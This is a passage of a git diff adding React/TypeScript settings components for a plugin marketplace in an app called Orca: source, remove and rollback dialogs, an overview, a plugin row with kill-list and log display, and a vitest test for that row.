+      setBusyAction(null)
+    }
+  }
+
+  const remove = async (sourceId: string): Promise<void> => {
+    setBusyAction(`remove:${sourceId}`)
+    setError(null)
+    try {
+      await window.api.plugins.removeMarketplace({ sourceId })
+      await onChanged()
+    } catch (cause) {
+      setError(
+        sourceError(
+          cause,
+          translate(
+            'auto.components.settings.PluginMarketplaceSourceDialog.removeFailed',
+            'Could not remove this marketplace.'
+          )
+        )
+      )
+    } finally {
+      setBusyAction(null)
+    }
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={(nextOpen) => !busyAction && onOpenChange(nextOpen)}>
+      <DialogContent
+        className="plugin-security-chrome max-h-[calc(100vh-3rem)] overflow-y-auto scrollbar-sleek sm:max-w-xl"
+        onOpenAutoFocus={(event) => {
+          event.preventDefault()
+          urlRef.current?.focus()
+        }}
+      >
+        <DialogHeader>
+          <DialogTitle>
+            {translate(
+              'auto.components.settings.PluginMarketplaceSourceDialog.title',
+              'Marketplace sources'
+            )}
+          </DialogTitle>
+          <DialogDescription>
+            {translate(
+              'auto.components.settings.PluginMarketplaceSourceDialog.description',
+              'Marketplaces are pinned Git repositories. Orca uses your existing system Git credentials for private repositories.'
+            )}
+          </DialogDescription>
+        </DialogHeader>
+        <div className="space-y-3 rounded-lg border border-border p-4">
+          <div className="space-y-1">
+            <Label htmlFor="plugin-marketplace-url">
+              {translate(
+                'auto.components.settings.PluginMarketplaceSourceDialog.urlLabel',
+                'Git URL'
+              )}
+            </Label>
+            <p className="text-xs text-muted-foreground">
+              {translate(
+                'auto.components.settings.PluginMarketplaceSourceDialog.urlDescription',
+                'Use an HTTPS or SSH repository URL containing orca-marketplace.json.'
+              )}
+            </p>
+          </div>
+          <Input
+            ref={urlRef}
+            id="plugin-marketplace-url"
+            value={url}
+            disabled={Boolean(busyAction)}
+            placeholder={translate(
+              'auto.components.settings.PluginMarketplaceSourceDialog.urlPlaceholder',
+              'https://git.example.com/team/plugins.git'
+            )}
+            onChange={(event) => setUrl(event.target.value)}
+          />
+          <div className="space-y-1">
+            <Label htmlFor="plugin-marketplace-ref">
+              {translate(
+                'auto.components.settings.PluginMarketplaceSourceDialog.refLabel',
+                'Git ref'
+              )}
+            </Label>
+            <p className="text-xs text-muted-foreground">
+              {translate(
+                'auto.components.settings.PluginMarketplaceSourceDialog.refDescription',
+                'Choose a branch, tag, or commit. Every fetched index is recorded at an exact commit.'
+              )}
+            </p>
+          </div>
+          <div className="flex gap-2">
+            <Input
+              id="plugin-marketplace-ref"
+              value={gitRef}
+              disabled={Boolean(busyAction)}
+              onChange={(event) => setGitRef(event.target.value)}
+              onKeyDown={(event) => {
+                if (event.key === 'Enter') {
+                  void add()
+                }
+              }}
+            />
+            <Button
+              className="w-28"
+              disabled={Boolean(busyAction) || !url.trim() || !gitRef.trim()}
+              onClick={() => void add()}
+            >
+              {busyAction === 'add' ? <Loader2 className="animate-spin" /> : null}
+              {busyAction === 'add'
+                ? translate(
+                    'auto.components.settings.PluginMarketplaceSourceDialog.adding',
+                    'Adding…'
+                  )
+                : translate(
+                    'auto.components.settings.PluginMarketplaceSourceDialog.add',
+                    'Add source'
+                  )}
+            </Button>
+          </div>
+        </div>
+        <div className="space-y-2">
+          <p className="text-[11px] font-semibold uppercase tracking-[0.05em] text-muted-foreground">
+            {translate(
+              'auto.components.settings.PluginMarketplaceSourceDialog.configured',
+              'Configured sources'
+            )}
+          </p>
+          {sources.length === 0 ? (
+            <p className="rounded-lg border border-dashed border-border px-4 py-5 text-center text-sm text-muted-foreground">
+              {translate(
+                'auto.components.settings.PluginMarketplaceSourceDialog.empty',
+                'No marketplace sources configured.'
+              )}
+            </p>
+          ) : (
+            <div className="overflow-hidden rounded-lg border border-border">
+              {sources.map((source) => {
+                const refreshing = busyAction === `refresh:${source.id}`
+                const removing = busyAction === `remove:${source.id}`
+                return (
+                  <div
+                    key={source.id}
+                    className="flex items-start gap-3 px-3.5 py-3 [&+&]:border-t [&+&]:border-border/60"
+                  >
+                    <div className="min-w-0 flex-1">
+                      <p className="text-sm font-medium">
+                        {source.marketplace?.name ?? source.source.url}
+                        {source.official ? (
+                          <Badge variant="outline" className="ml-2 align-middle">
+                            {translate(
+                              'auto.components.settings.PluginMarketplaceSourceDialog.official',
+                              'Official'
+                            )}
+                          </Badge>
+                        ) : null}
+                      </p>
+                      {source.marketplace ? (
+                        <p className="text-xs text-muted-foreground">
+                          {translate(
+                            'auto.components.settings.PluginMarketplaceSourceDialog.owner',
+                            'Owner: {{value0}}',
+                            { value0: source.marketplace.owner }
+                          )}
+                        </p>
+                      ) : null}
+                      <p className="mt-1 truncate font-mono text-xs text-muted-foreground">
+                        {source.source.url}#{source.source.ref}
+                      </p>
+                      {source.marketplace ? (
+                        <p className="truncate font-mono text-[11px] text-muted-foreground">
+                          {translate(
+                            'auto.components.settings.PluginMarketplaceSourceDialog.pinnedCommit',
+                            'Pinned at {{value0}}',
+                            { value0: source.marketplace.resolvedCommit }
+                          )}
+                        </p>
+                      ) : null}
+                      {source.stale ? (
+                        <p className="mt-1 text-xs text-destructive">
+                          {translate(
+                            'auto.components.settings.PluginMarketplaceSourceDialog.stale',
+                            'Refresh failed. Browsing the last valid cached index.'
+                          )}
+                        </p>
+                      ) : null}
+                    </div>
+                    <Button
+                      variant="ghost"
+                      size="icon-xs"
+                      disabled={Boolean(busyAction)}
+                      aria-label={translate(
+                        'auto.components.settings.PluginMarketplaceSourceDialog.refreshLabel',
+                        'Refresh {{value0}}',
+                        { value0: source.marketplace?.name ?? source.source.url }
+                      )}
+                      onClick={() => void refresh(source.id)}
+                    >
+                      <RefreshCw className={refreshing ? 'animate-spin' : undefined} />
+                    </Button>
+                    {!source.official ? (
+                      <Button
+                        variant="ghost"
+                        size="icon-xs"
+                        disabled={Boolean(busyAction)}
+                        aria-label={translate(
+                          'auto.components.settings.PluginMarketplaceSourceDialog.removeLabel',
+                          'Remove {{value0}}',
+                          { value0: source.marketplace?.name ?? source.source.url }
+                        )}
+                        onClick={() => void remove(source.id)}
+                      >
+                        {removing ? (
+                          <Loader2 className="animate-spin" />
+                        ) : (
+                          <Trash2 className="text-destructive" />
+                        )}
+                      </Button>
+                    ) : null}
+                  </div>
+                )
+              })}
+            </div>
+          )}
+        </div>
+        {error ? <p className="text-sm text-destructive">{error}</p> : null}
+        <DialogFooter>
+          <Button
+            variant="ghost"
+            disabled={Boolean(busyAction)}
+            onClick={() => onOpenChange(false)}
+          >
+            {translate('auto.components.settings.PluginMarketplaceSourceDialog.done', 'Done')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginRemoveDialog.tsx b/src/renderer/src/components/settings/PluginRemoveDialog.tsx
new file mode 100644
index 000000000..3cae9dd9a
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginRemoveDialog.tsx
@@ -0,0 +1,65 @@
+import { useRef } from 'react'
+import { Loader2 } from 'lucide-react'
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import { Button } from '../ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '../ui/dialog'
+
+type PluginRemoveDialogProps = {
+  plugin: PluginHostListEntry | null
+  busy: boolean
+  onCancel: () => void
+  onConfirm: (pluginKey: string) => void
+}
+
+export function PluginRemoveDialog({
+  plugin,
+  busy,
+  onCancel,
+  onConfirm
+}: PluginRemoveDialogProps): React.JSX.Element {
+  const cancelRef = useRef<HTMLButtonElement>(null)
+  return (
+    <Dialog open={Boolean(plugin)} onOpenChange={(open) => !open && !busy && onCancel()}>
+      <DialogContent
+        onOpenAutoFocus={(event) => {
+          event.preventDefault()
+          cancelRef.current?.focus()
+        }}
+      >
+        <DialogHeader>
+          <DialogTitle>
+            {translate('auto.components.settings.PluginRemoveDialog.title', 'Remove plugin?')}
+          </DialogTitle>
+          <DialogDescription>
+            {translate(
+              'auto.components.settings.PluginRemoveDialog.description',
+              'This removes {{value0}} and its stored plugin data from this computer. You can install it again later.',
+              { value0: plugin?.name ?? '' }
+            )}
+          </DialogDescription>
+        </DialogHeader>
+        <DialogFooter>
+          <Button ref={cancelRef} variant="ghost" disabled={busy} onClick={onCancel}>
+            {translate('auto.components.settings.PluginRemoveDialog.cancel', 'Cancel')}
+          </Button>
+          <Button
+            variant="destructive"
+            disabled={busy || !plugin}
+            onClick={() => plugin && onConfirm(plugin.pluginKey)}
+          >
+            {busy ? <Loader2 className="animate-spin" /> : null}
+            {translate('auto.components.settings.PluginRemoveDialog.remove', 'Remove plugin')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginRollbackDialog.tsx b/src/renderer/src/components/settings/PluginRollbackDialog.tsx
new file mode 100644
index 000000000..f8693f482
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginRollbackDialog.tsx
@@ -0,0 +1,68 @@
+import { useRef } from 'react'
+import { Loader2 } from 'lucide-react'
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import { Button } from '../ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '../ui/dialog'
+
+type PluginRollbackDialogProps = {
+  plugin: PluginHostListEntry | null
+  busy: boolean
+  error: string | null
+  onCancel: () => void
+  onConfirm: (pluginKey: string) => void
+}
+
+export function PluginRollbackDialog({
+  plugin,
+  busy,
+  error,
+  onCancel,
+  onConfirm
+}: PluginRollbackDialogProps): React.JSX.Element {
+  const cancelRef = useRef<HTMLButtonElement>(null)
+  return (
+    <Dialog open={Boolean(plugin)} onOpenChange={(open) => !open && !busy && onCancel()}>
+      <DialogContent
+        onOpenAutoFocus={(event) => {
+          event.preventDefault()
+          cancelRef.current?.focus()
+        }}
+      >
+        <DialogHeader>
+          <DialogTitle>
+            {translate('auto.components.settings.PluginRollbackDialog.title', 'Roll back plugin?')}
+          </DialogTitle>
+          <DialogDescription>
+            {translate(
+              'auto.components.settings.PluginRollbackDialog.description',
+              'This deactivates {{value0}} and restores its previous immutable version. If that version requests different access or instructional content, Orca will require another review.',
+              { value0: plugin?.name ?? '' }
+            )}
+          </DialogDescription>
+        </DialogHeader>
+        {error ? <p className="text-sm text-destructive">{error}</p> : null}
+        <DialogFooter>
+          <Button ref={cancelRef} variant="ghost" disabled={busy} onClick={onCancel}>
+            {translate('auto.components.settings.PluginRollbackDialog.cancel', 'Cancel')}
+          </Button>
+          <Button
+            variant="destructive"
+            disabled={busy || !plugin}
+            onClick={() => plugin && onConfirm(plugin.pluginKey)}
+          >
+            {busy ? <Loader2 className="animate-spin" /> : null}
+            {translate('auto.components.settings.PluginRollbackDialog.confirm', 'Roll back plugin')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginSettingsOverview.tsx b/src/renderer/src/components/settings/PluginSettingsOverview.tsx
new file mode 100644
index 000000000..e615ba637
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginSettingsOverview.tsx
@@ -0,0 +1,175 @@
+import { Blocks, Loader2, SearchX } from 'lucide-react'
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import { PluginCatalogEmptyState } from '../plugin-catalog/PluginCatalogEmptyState'
+import { PluginDevelopmentSection } from './PluginDevelopmentSection'
+import { PluginMarketplaceBrowser } from './PluginMarketplaceBrowser'
+import { PluginSettingsRow, type PluginLogsState } from './PluginSettingsRow'
+import { SettingsRow, SettingsSwitch } from './SettingsFormControls'
+
+type PluginSettingsOverviewProps = {
+  featureEnabled: boolean
+  featureBusy: boolean
+  settingsError: string | null
+  loading: boolean
+  error: string | null
+  plugins: PluginHostListEntry[]
+  busyPluginKeys: ReadonlySet<string>
+  openLogs: ReadonlySet<string>
+  logsByPlugin: Readonly<Record<string, PluginLogsState>>
+  devPaths: readonly string[]
+  devPathsBusy: boolean
+  onToggleFeature: () => void
+  onRefresh: () => Promise<void>
+  onReview: (pluginKey: string) => void
+  onToggleEnabled: (plugin: PluginHostListEntry) => void
+  onToggleLogs: (pluginKey: string) => void
+  onMarketplaceInstalled: (pluginKey: string) => Promise<void>
+  onRollbackRequest: (pluginKey: string) => void
+  onRemoveRequest: (pluginKey: string) => void
+  onUpdateDevPaths: (paths: string[]) => Promise<void>
+}
+
+function matchesInstalledPlugin(plugin: PluginHostListEntry, search: string): boolean {
+  const query = search.trim().toLocaleLowerCase()
+  return (
+    !query ||
+    [plugin.name, plugin.pluginKey, plugin.publisher, plugin.description ?? ''].some((value) =>
+      value.toLocaleLowerCase().includes(query)
+    )
+  )
+}
+
+export function PluginSettingsOverview({
+  featureEnabled,
+  featureBusy,
+  settingsError,
+  loading,
+  error,
+  plugins,
+  busyPluginKeys,
+  openLogs,
+  logsByPlugin,
+  devPaths,
+  devPathsBusy,
+  onToggleFeature,
+  onRefresh,
+  onReview,
+  onToggleEnabled,
+  onToggleLogs,
+  onMarketplaceInstalled,
+  onRollbackRequest,
+  onRemoveRequest,
+  onUpdateDevPaths
+}: PluginSettingsOverviewProps): React.JSX.Element {
+  return (
+    <>
+      <SettingsRow
+        label={translate(
+          'auto.components.settings.PluginsSettingsSection.systemLabel',
+          'Plugin system'
+        )}
+        labelId="plugin-system-label"
+        description={translate(
+          'auto.components.settings.PluginsSettingsSection.systemDescription',
+          'Discovers installed plugins and lets you enable them individually. Nothing runs until you review and enable it. Workers always run on this computer; SSH workspace actions route through Orca.'
+        )}
+        alignTop
+        control={
+          <SettingsSwitch
+            checked={featureEnabled}
+            disabled={featureBusy}
+            ariaLabelledBy="plugin-system-label"
+            onChange={onToggleFeature}
+          />
+        }
+      />
+      {settingsError ? <p className="text-xs text-destructive">{settingsError}</p> : null}
+      <div className="my-4 border-t border-border/60" />
+      {!featureEnabled ? (
+        <div className="rounded-lg border border-dashed border-border px-5 py-6 text-center text-[13px] leading-6 text-muted-foreground">
+          {translate(
+            'auto.components.settings.PluginsSettingsSection.featureOff',
+            'Turn on the plugin system to see and manage installed plugins. Anything already installed stays on disk and stays disabled while the system is off.'
+          )}
+        </div>
+      ) : loading ? (
+        <div className="flex items-center gap-2 px-4 py-5 text-[13px] text-muted-foreground">
+          <Loader2 className="animate-spin" />
+          {translate('auto.components.settings.PluginsSettingsSection.loading', 'Loading plugins…')}
+        </div>
+      ) : (
+        <>
+          <PluginMarketplaceBrowser
+            installedPlugins={plugins}
+            onInstalled={onMarketplaceInstalled}
+            onRefreshInstalled={onRefresh}
+            renderInstalledContent={(search) => {
+              const filteredPlugins = plugins.filter((plugin) =>
+                matchesInstalledPlugin(plugin, search)
+              )
+              if (error) {
+                return (
+                  <div className="rounded-lg border border-destructive/30 bg-destructive/5 px-4 py-3 text-sm text-destructive">
+                    {error}
+                  </div>
+                )
+              }
+              if (filteredPlugins.length === 0) {
+                return search ? (
+                  <PluginCatalogEmptyState
+                    icon={SearchX}
+                    title={translate(
+                      'auto.components.settings.PluginsSettingsSection.noInstalledResultsTitle',
+                      'No matching plugins'
+                    )}
+                    description={translate(
+                      'auto.components.settings.PluginsSettingsSection.noInstalledResults',
+                      'No installed plugins match this search.'
+                    )}
+                  />
+                ) : (
+                  <PluginCatalogEmptyState
+                    icon={Blocks}
+                    title={translate(
+                      'auto.components.settings.PluginsSettingsSection.emptyTitle',
+                      'No plugins installed yet'
+                    )}
+                    description={translate(
+                      'auto.components.settings.PluginsSettingsSection.empty',
+                      'Browse the All tab to install plugins from a marketplace.'
+                    )}
+                  />
+                )
+              }
+              return (
+                <div className="grid gap-3 lg:grid-cols-2">
+                  {filteredPlugins.map((plugin) => (
+                    <PluginSettingsRow
+                      key={plugin.pluginKey}
+                      plugin={plugin}
+                      busy={busyPluginKeys.has(plugin.pluginKey)}
+                      logsOpen={openLogs.has(plugin.pluginKey)}
+                      logsState={logsByPlugin[plugin.pluginKey]}
+                      onReview={onReview}
+                      onToggleEnabled={onToggleEnabled}
+                      onToggleLogs={onToggleLogs}
+                      onRollbackRequest={onRollbackRequest}
+                      onRemoveRequest={onRemoveRequest}
+                    />
+                  ))}
+                </div>
+              )
+            }}
+          />
+          <div className="my-4 border-t border-border/60" />
+          <PluginDevelopmentSection
+            paths={devPaths}
+            busy={devPathsBusy}
+            onChange={onUpdateDevPaths}
+          />
+        </>
+      )}
+    </>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginSettingsRow.test.tsx b/src/renderer/src/components/settings/PluginSettingsRow.test.tsx
new file mode 100644
index 000000000..3c41144a5
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginSettingsRow.test.tsx
@@ -0,0 +1,85 @@
+// @vitest-environment happy-dom
+
+import { act } from 'react'
+import { createRoot } from 'react-dom/client'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import { PluginSettingsRow } from './PluginSettingsRow'
+
+vi.mock('../ui/dropdown-menu', () => ({
+  DropdownMenu: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
+  DropdownMenuContent: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
+  DropdownMenuItem: ({
+    children,
+    onSelect
+  }: {
+    children: React.ReactNode
+    onSelect?: () => void
+  }) => <button onClick={onSelect}>{children}</button>,
+  DropdownMenuTrigger: ({ children }: { children: React.ReactNode }) => <>{children}</>
+}))
+
+const plugin: PluginHostListEntry = {
+  pluginKey: 'stablyai.orca-skills',
+  consentFingerprint: 'sha256-consent',
+  name: 'Orca Skills',
+  version: '1.0.0',
+  publisher: 'stablyai',
+  status: 'disabled',
+  needsReconsent: false,
+  isDev: false,
+  official: true,
+  bundled: true,
+  capabilities: [],
+  panels: [],
+  commands: [],
+  hasWorker: false,
+  restarts: 0,
+  blockedByKillList: {
+    reason: 'A vulnerable release was revoked',
+    advisoryUrl: 'https://onorca.dev/advisories/orca-skills'
+  },
+  source: {
+    kind: 'bundled',
+    reference: 'bundled:stablyai.orca-skills',
+    resolvedCommit: null,
+    contentHash: 'sha256-content'
+  }
+}
+
+afterEach(() => {
+  document.body.innerHTML = ''
+})
+
+describe('PluginSettingsRow', () => {
+  it('shows official provenance and prevents re-enabling killed plugins', async () => {
+    const container = document.createElement('div')
+    document.body.appendChild(container)
+    const root = createRoot(container)
+    await act(async () => {
+      root.render(
+        <PluginSettingsRow
+          plugin={plugin}
+          busy={false}
+          logsOpen={false}
+          onReview={vi.fn()}
+          onToggleEnabled={vi.fn()}
+          onToggleLogs={vi.fn()}
+          onRollbackRequest={vi.fn()}
+          onRemoveRequest={vi.fn()}
+        />
+      )
+    })
+
+    // Why: official provenance renders as an icon with an accessible label, not badge text.
+    expect(container.querySelector('[aria-label="Official"]')).toBeTruthy()
+    expect(container.textContent).toContain('Bundled')
+    expect(container.textContent).toContain('A vulnerable release was revoked')
+    expect(container.textContent).toContain('View advisory')
+    expect(container.textContent).not.toContain('Remove')
+    expect(
+      container.querySelector<HTMLButtonElement>('[aria-label="Enable Orca Skills"]')?.disabled
+    ).toBe(true)
+    act(() => root.unmount())
+  })
+})
diff --git a/src/renderer/src/components/settings/PluginSettingsRow.tsx b/src/renderer/src/components/settings/PluginSettingsRow.tsx
new file mode 100644
index 000000000..853c30225
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginSettingsRow.tsx
@@ -0,0 +1,334 @@
+import {
+  AlertTriangle,
+  BadgeCheck,
+  FileText,
+  Loader2,
+  MoreHorizontal,
+  RotateCcw,
+  Trash2
+} from 'lucide-react'
+import type { PluginHostListEntry, PluginHostLogLine } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import { PluginCatalogAvatar } from '../plugin-catalog/PluginCatalogAvatar'
+import { invalidPluginErrorMessage } from './plugin-error-presentation'
+import { cn } from '@/lib/utils'
+import { Badge } from '../ui/badge'
+import { Button } from '../ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
+} from '../ui/dropdown-menu'
+import { SettingsSwitch } from './SettingsFormControls'
+
+export type PluginLogsState = {
+  loading: boolean
+  lines?: PluginHostLogLine[]
+  error?: string
+}
+
+type PluginSettingsRowProps = {
+  plugin: PluginHostListEntry
+  busy: boolean
+  logsOpen: boolean
+  logsState?: PluginLogsState
+  onReview: (pluginKey: string) => void
+  onToggleEnabled: (plugin: PluginHostListEntry) => void
+  onToggleLogs: (pluginKey: string) => void
+  onRollbackRequest: (pluginKey: string) => void
+  onRemoveRequest: (pluginKey: string) => void
+}
+
+function statusPresentation(plugin: PluginHostListEntry): { label: string; className: string } {
+  if (plugin.blockedByKillList) {
+    return {
+      label: translate('auto.components.settings.PluginSettingsRow.blocked', 'Blocked'),
+      className: 'border-destructive/25 bg-destructive/8 text-destructive'
+    }
+  }
+  if (plugin.needsReconsent || plugin.status === 'pending') {
+    return {
+      label: translate('auto.components.settings.PluginSettingsRow.needsReview', 'Needs review'),
+      className: 'border-foreground/20 bg-foreground/8 text-foreground'
+    }
+  }
+  if (plugin.status === 'restarting') {
+    return {
+      label: translate('auto.components.settings.PluginSettingsRow.restarting', 'Restarting'),
+      className: 'border-foreground/20 bg-foreground/8 text-foreground'
+    }
+  }
+  if (plugin.status === 'errored' || plugin.status === 'invalid') {
+    return {
+      label:
+        plugin.status === 'invalid'
+          ? translate('auto.components.settings.PluginSettingsRow.invalid', 'Invalid')
+          : translate('auto.components.settings.PluginSettingsRow.error', 'Error'),
+      className: 'border-destructive/25 bg-destructive/8 text-destructive'
+    }
+  }
+  if (plugin.status === 'disabled') {
+    return {
+      label: translate('auto.components.settings.PluginSettingsRow.disabled', 'Disabled'),
+      className: 'border-border bg-muted/40 text-muted-foreground'
+    }
+  }
+  return {
+    label:
+      plugin.status === 'running'
+        ? translate('auto.components.settings.PluginSettingsRow.running', 'Running')
+        : translate('auto.components.settings.PluginSettingsRow.enabled', 'Enabled'),
+    className: 'border-status-success-border bg-status-success-background text-status-success'
+  }
+}
+
+function PluginLogs({ pluginKey, state }: { pluginKey: string; state?: PluginLogsState }) {
+  return (
+    <div className="mt-3 overflow-hidden rounded-md border border-border bg-muted/40">
+      {state?.loading ? (
+        <div className="flex items-center gap-2 p-3 text-xs text-muted-foreground">
+          <Loader2 className="size-3.5 animate-spin" />
+          {translate('auto.components.settings.PluginSettingsRow.loadingLogs', 'Loading logs…')}
+        </div>
+      ) : state?.error ? (
+        <p className="p-3 text-xs text-destructive">{state.error}</p>
+      ) : (
+        <>
+          <pre
+            tabIndex={0}
+            className="max-h-44 overflow-auto p-3 font-mono text-[11px] leading-5 scrollbar-sleek"
+          >
+            {state?.lines?.length
+              ? state.lines
+                  .map(
+                    (entry) =>
+                      `${new Date(entry.ts).toLocaleTimeString()} ${entry.level.padEnd(5)} ${entry.line}`
+                  )
+                  .join('\n')
+              : translate(
+                  'auto.components.settings.PluginSettingsRow.noLogs',
+                  'No log lines recorded.'
+                )}
+          </pre>
+          <div className="flex flex-wrap justify-between gap-2 border-t border-border/50 px-3 py-1.5 text-[11px] text-muted-foreground">
+            <span>
+              {translate(
+                'auto.components.settings.PluginSettingsRow.logCount',
+                'Last {{value0}} of up to 200 retained lines',
+                { value0: state?.lines?.length ?? 0 }
+              )}
+            </span>
+            <span className="font-mono">{pluginKey}</span>
+          </div>
+        </>
+      )}
+    </div>
+  )
+}
+
+export function PluginSettingsRow({
+  plugin,
+  busy,
+  logsOpen,
+  logsState,
+  onReview,
+  onToggleEnabled,
+  onToggleLogs,
+  onRollbackRequest,
+  onRemoveRequest
+}: PluginSettingsRowProps): React.JSX.Element {
+  const status = statusPresentation(plugin)
+  const needsReview = plugin.needsReconsent || plugin.status === 'pending'
+  const enabled =
+    plugin.status === 'running' ||
+    plugin.status === 'restarting' ||
+    plugin.status === 'idle' ||
+    plugin.status === 'errored'
+  const switchDisabled =
+    busy || needsReview || plugin.status === 'invalid' || Boolean(plugin.blockedByKillList)
+
+  // Why: the wide primary action ("Review & enable") renders on its own footer
+  // row so it never wraps the compact toggle + overflow cluster to an
+  // inconsistent position between card types.
+  const reviewAction = needsReview ? (
+    <Button
+      variant="secondary"
+      size="sm"
+      disabled={busy}
+      onClick={() => onReview(plugin.pluginKey)}
+    >
+      {translate('auto.components.settings.PluginSettingsRow.reviewAndEnable', 'Review & enable')}
+    </Button>
+  ) : null
+  const footerAction = reviewAction
+
+  return (
+    <article
+      className="flex min-h-36 flex-col rounded-xl border border-border/80 bg-card p-4 text-card-foreground shadow-xs"
+      data-plugin-key={plugin.pluginKey}
+    >
+      <div className="flex items-start gap-3">
+        <PluginCatalogAvatar name={plugin.name} />
+        <div className="min-w-0 flex-1">
+          <div className="flex flex-wrap items-center gap-1.5">
+            <h4 className="text-sm font-semibold">{plugin.name}</h4>
+            {plugin.official ? (
+              <BadgeCheck
+                className="size-4 shrink-0 text-muted-foreground"
+                role="img"
+                aria-label={translate(
+                  'auto.components.settings.PluginSettingsRow.official',
+                  'Official'
+                )}
+              />
+            ) : null}
+            {plugin.isDev ? (
+              <Badge variant="outline" className="text-[10px] text-muted-foreground">
+                {translate('auto.components.settings.PluginSettingsRow.dev', 'Dev')}
+              </Badge>
+            ) : null}
+            {plugin.bundled ? (
+              <Badge variant="secondary">
+                {translate('auto.components.settings.PluginSettingsRow.bundled', 'Bundled')}
+              </Badge>
+            ) : null}
+            <span
+              className={cn(
+                'inline-flex items-center gap-1.5 rounded-full border px-2 py-0.5 text-[11px] font-medium',
+                status.className
+              )}
+            >
+              <span className="size-1.5 rounded-full bg-current" aria-hidden="true" />
+              {status.label}
+            </span>
+            {busy ? <Loader2 className="size-3.5 animate-spin text-muted-foreground" /> : null}
+          </div>
+          <p className="mt-0.5 truncate text-xs text-muted-foreground">
+            {plugin.publisher ? `${plugin.publisher} · ` : null}v{plugin.version}
+          </p>
+          <p className="mt-3 line-clamp-2 min-h-10 text-sm leading-5 text-muted-foreground">
+            {plugin.description ??
+              translate(
+                'auto.components.settings.PluginSettingsRow.noDescription',
+                'No description provided.'
+              )}
+          </p>
+          {plugin.blockedByKillList ? (
+            <p className="mt-1.5 flex items-start gap-1.5 text-xs leading-5 text-destructive">
+              <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+              <span>
+                {translate(
+                  'auto.components.settings.PluginSettingsRow.killListMessage',
+                  "Orca's safety list disabled this plugin: {{value0}}",
+                  { value0: plugin.blockedByKillList.reason }
+                )}
+                {plugin.blockedByKillList.advisoryUrl ? (
+                  <>
+                    {' '}
+                    <a
+                      href={plugin.blockedByKillList.advisoryUrl}
+                      target="_blank"
+                      rel="noreferrer"
+                      className="underline underline-offset-2"
+                    >
+                      {translate(
+                        'auto.components.settings.PluginSettingsRow.viewAdvisory',
+                        'View advisory'
+                      )}
+                    </a>
+                  </>
+                ) : null}
+              </span>
+            </p>
+          ) : null}
+          {plugin.error ? (
+            <p className="mt-1.5 flex items-start gap-1.5 text-xs leading-5 text-destructive">
+              <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+              <span>
+                {plugin.status === 'invalid'
+                  ? invalidPluginErrorMessage(plugin.error)
+                  : translate(
+                      'auto.components.settings.PluginSettingsRow.runtimeError',
+                      'The plugin stopped after an activation or worker error.'
+                    )}
+                {plugin.restarts > 0
+                  ? translate(
+                      'auto.components.settings.PluginSettingsRow.restartCount',
+                      ' · {{value0}} restarts',
+                      { value0: plugin.restarts }
+                    )
+                  : null}
+              </span>
+            </p>
+          ) : null}
+        </div>
+        <div className="flex shrink-0 items-center gap-1">
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
+              <Button
+                variant="ghost"
+                size="icon-xs"
+                disabled={busy}
+                aria-label={translate(
+                  'auto.components.settings.PluginSettingsRow.moreActions',
+                  'More actions for {{value0}}',
+                  { value0: plugin.name }
+                )}
+              >
+                <MoreHorizontal />
+              </Button>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end">
+              <DropdownMenuItem onSelect={() => onToggleLogs(plugin.pluginKey)}>
+                <FileText />
+                {logsOpen
+                  ? translate('auto.components.settings.PluginSettingsRow.hideLogs', 'Hide logs')
+                  : translate('auto.components.settings.PluginSettingsRow.viewLogs', 'View logs')}
+              </DropdownMenuItem>
+              {plugin.source?.kind === 'marketplace' ? (
+                <DropdownMenuItem onSelect={() => onRollbackRequest(plugin.pluginKey)}>
+                  <RotateCcw />
+                  {translate('auto.components.settings.PluginSettingsRow.rollback', 'Roll back')}
+                </DropdownMenuItem>
+              ) : null}
+              {!plugin.isDev && !plugin.bundled ? (
+                <DropdownMenuItem
+                  variant="destructive"
+                  onSelect={() => onRemoveRequest(plugin.pluginKey)}
+                >
+                  <Trash2 />
+                  {translate('auto.components.settings.PluginSettingsRow.remove', 'Remove')}
+                </DropdownMenuItem>
+              ) : null}
+            </DropdownMenuContent>
+          </DropdownMenu>
+          <SettingsSwitch
+            checked={enabled && !needsReview}
+            disabled={switchDisabled}
+            onChange={() => onToggleEnabled(plugin)}
+            ariaLabel={
+              enabled && !needsReview
+                ? translate(
+                    'auto.components.settings.PluginSettingsRow.disableLabel',
+                    'Disable {{value0}}',
+                    { value0: plugin.name }
+                  )
+                : translate(
+                    'auto.components.settings.PluginSettingsRow.enableLabel',
+                    'Enable {{value0}}',
+                    { value0: plugin.name }
+                  )
+            }
+          />
+        </div>
+      </div>
+      {footerAction ? (
+        <div className="mt-auto flex flex-wrap items-center justify-end gap-2 pt-3">
+          {footerAction}
+        </div>
+      ) : null}
+      {logsOpen ? <PluginLogs pluginKey={plugin.pluginKey} state={logsState} /> : null}
+    </article>
+  )
+}
